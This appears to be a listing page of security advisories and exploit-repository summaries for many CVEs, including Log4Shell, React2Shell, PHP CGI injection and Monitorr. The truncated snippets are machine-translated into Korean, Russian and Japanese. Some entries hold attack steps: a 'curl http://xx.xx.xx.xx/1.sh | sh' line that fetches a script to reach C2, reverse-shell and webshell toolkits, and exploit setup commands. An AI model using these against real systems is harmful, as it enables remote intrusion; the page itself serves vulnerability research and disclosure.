May 2026 Security Advisory Ivanti Virtual Traffic Manager (vTM) (CVE-2026-8051)

Summary Ivanti has released updates for Ivanti Virtual Traffic Manager which addresses one High severity vulnerability. Successful exploitation could lead to admin authenticated remote code execution. We are not aware of any customers being exploited by this vulnerability at the time of disclosur...

Security Advisory Ivanti Endpoint Manager (EPM) May 2026

Security Advisory Ivanti Endpoint Manager EPM CVE-2026-8109, CVE-2026-8110, CVE-2026-811 Summary Ivanti has released updates for Ivanti Endpoint Manager which addresses one Medium severity and two High severity vulnerabilities. Successful exploitation could lead to information disclosure, privile...

CVE-2021-40444

〖EXP〗Ladon CVE-2021-40444 Воспроизведение уязвимости Office Обзор уязвимости 8 сентября по пекинскому времени CERT NSFOCUS опубликовал уведомление Microsoft о безопасности, раскрывающее уязвимость удаленного выполнения кода Microsoft MSHTML. Злоумышленник может создать вредоносный элемент...

CVE-2020-5245

CVE-2020-5245 1. 애플리케이션을 빌드하려면 mvn clean install을 실행하세요. 2. java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml로 애플리케이션을 시작하세요. 3. 애플리케이션이 실행 중인지 확인하려면 http://localhost:8080 URL을 입력하세요. pom.xml에 일부 오류, 플러그인은 영향을 받지 않았습니다, 재현 재현 curl...

CVE-2021-20837

CVE-2021-20837 XMLRPC - MovableType의 RCE PoC...

CVE-2021-44228-Log4Shell-POC

CVE-2021-44228-Log4Shell-POC 유명한 Log4j CVE-2021-44228에 대한 완전한 POC 사전 요구 사항 여기에서 Java를 다운로드하여 설치하세요. jdk-8u181을 사용할 수 있습니다. 여기에서 IntelliJ Idea를 설치하세요. POC 1단계 : 이 저장소를 클론하세요. 2단계 : Exploit.java 파일을 다른 폴더로 이동하세요. 제 경우에는 홈 디렉토리 안에 rce 폴더를 만들었습니다. /home/coldfusionx/rce 3단계 : Exploit.java를 살펴보세요. 여기서 ...

CVE-2026-3502---TrueConf-Client-Update-Hijacking-PoC

🔓 CVE-2026-3502 - TrueConf 클라이언트 업데이트 하이재킹 익스플로잇 ⚠️ 경고 이 도구는 교육 및 승인된 테스트 목적으로만 사용하십시오. 명시적 허가 없이 시스템에 사용하지 마십시오. 📋 설명 CVE-2026-3502 익스플로잇 - TrueConf ClientWindows의 무결성 검증 없는 업데이트 취약점. 로컬 TrueConf 서버를 제어하는 공격자가 합법적인 업데이트 패키지를 악성 패키지로 교체하여 연결된 모든 클라이언트에서 원격 코드 실행을 달성할 수 있습니다. 🎯 영향 업데이트 컨텍스트상승된 권한에서...

CVE-2025-55182-POC-NEXTJS

CVE-2025-55182 React2Shell - 개념 증명 PoC 이것은 상용 유료 개념 증명입니다. 구매 링크: https://bit.ly/44G0ani 개요 이 저장소는 CVE-2025-55182일명 React2Shell에 대한 신뢰할 수 있고 높은 정확도의 개념 증명PoC 익스플로잇을 포함합니다. 이는 React Server ComponentsRSC와 그에 따른 Next.js 애플리케이션에 영향을 미치는 치명적인CVSS 10.0 원격 코드 실행RCE 취약점입니다. 기능 이 상용 PoC는 탐지 및 익스플로잇을 위한 여러...

cve-2019-14540-exploit

CVE-2019-14540 Exploit http://www.leadroyal.cn/?p=939 환경 제한: 이 데모는 jndi의 ldap 활용 방식을 사용하므로 낮은 버전8u191 미만의 jdk가 필요합니다. 1. marshalsec을 사용하여 로컬 1389 포트에 ldap 서비스를 생성하고 로컬 8000의 http 서비스를 가리킵니다 root@kitploit: git clone https://github.com/mbechler/marshalsec.git mvn package -DskipTests java -cp...

CVE-2022-30778

경고 이 취약점은 철회되었습니다. Override 이것은 CVE-2021-43503에 관한 것입니다. 요구 사항 PHP = 8.0 Composer 취약점 재현 1. 서비스 시작 root@kitploit: composer install cp .env.example .env php artisan key:generate php artisan serve it will listening 8000 port in localhost 2. PoC root@kitploit: queueResolver = "system"; namespace...

Next.js-RSC-RCE-Scanner-Burp-Suite-Extension

Next.js RSC RCE Scanner Расширение Burp Suite Высокоточное расширение Burp Suite для обнаружения уязвимости удаленного выполнения кода Next.js / React Server Components RSC CVE-2025-55182 и CVE-2025-66478. Это расширение реализует логику обнаружения, разработанную командой кибербезопасности...

CVE-2024-4577-RCE

PHP CGI 인자 주입 CVE-2024-4577 RCE 📜 설명 PHP 8.1. 8.1.29 미만, 8.2. 8.2.20 미만, 8.3. 8.3.8 미만 버전에서 Windows에서 Apache와 PHP-CGI를 사용할 때, 시스템이 특정 코드 페이지를 사용하도록 설정된 경우 Windows는 Win32 API 함수에 전달된 명령줄의 문자를 대체하기 위해 "Best-Fit" 동작을 사용할 수 있습니다. PHP CGI 모듈은 이러한 문자를 PHP 옵션으로 잘못 해석하여 악의적인 사용자가 실행 중인 PHP 바이너리에 옵션을 전달할 ...

monitorr-exploit-toolkit

Monitorr 익스플로잇 툴킷 RCE — 안전하지 않은 파일 업로드를 통한 PHP 리버스 셸, 웹셸 등 관리자 계정 생성 — 인가 우회를 통한 기술 정보 유출 : Monitorr 버전, PHP 버전, 시스템 버전 및 커널, PHP 설정 등 CVE-2020-28872 및 CVE-2020-28871에 대한 익스플로잇. PacketStorm 사용법 root@kitploit: $ ruby exploit.rb -h Monitorr-Exploit Usage: exploit.rb upload --debug exploit.rb create...

CVE-2024-9441

CVE-2024-9441 취약점 설명: 이 코드는 PHP 기반 웹 애플리케이션의 부적절한 입력 검증으로 인해 발생하는 원격 코드 실행RCE 취약점을 악용합니다. 이 취약점은 "비밀번호 찾기" 기능index.php?c=user&m=forgotpassword에 있으며, 사용자 입력이 제대로 검증되지 않아 공격자가 서버에 임의의 PHP 코드를 주입할 수 있습니다. 이 스크립트는 PHP 기반 애플리케이션의 취약점을 악용하여 악성 PHP 스크립트를 서버에 업로드하고 HTTP 요청을 통해 시스템 명령을 실행합니다. 사용 방법: pytho...

CVE-2020-9547

CVE-2020-9547: FasterXML/jackson-databind 원격 코드 실행 취약점...

poc-cve-2025-55182

CVE-2025-55182 React2Shell - 概念実証 ⚠️ 警告: このリポジトリは教育およびセキュリティ研究目的のみです。所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。 概要 このリポジトリには、React Server Componentsに影響を与える重大な事前認証リモートコード実行脆弱性である CVE-2025-55182 の概念実証デモが含まれています。 CVSSスコア: 10.0 クリティカル 影響を受けるバージョン: React Server Components 19.0.0, 19.1.0,...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께...

CVE-2021-21972

CVE-2021-21972 취약점 점검을 위한 Nmap 스크립트 - CVE-2021-21972 vCenter Server RCE 취약점 참고 자료: https://app.howlermonkey.io/vulnerabilities/CVE-2021-21972 https://www.vmware.com/security/advisories/VMSA-2021-0002.html 예시 nmap -p443 --script cve-2021-21972.nse --script-args vulns.showall IP 크레딧 Alex Hernandez일...

bmc_bladelogic

Linux および Windows 向け BMC Bladelogic RSCD リモートエクスプロイト パスワード変更、ユーザー列挙、リモートコード実行 BMC BladeLogic RSCD エージェントの脆弱性を悪用するエクスプロイト CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 exploit-db で公開 BMCrexec.py https://www.exploit-db.com/exploits/43902/ BMCwinUsers.py...

spring-core-rce

spring-core-rce spring core rce の簡単な利用方法 warファイルは以下を使用可能 https://github.com/fengguangbin/spring-rce-war docker環境は以下を使用可能 https://github.com/lunasec-io/Spring4Shell-POC vulfocusのオンライン環境も使用可能 http://vulfocus.io/ またはvulhubのターゲット環境 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965...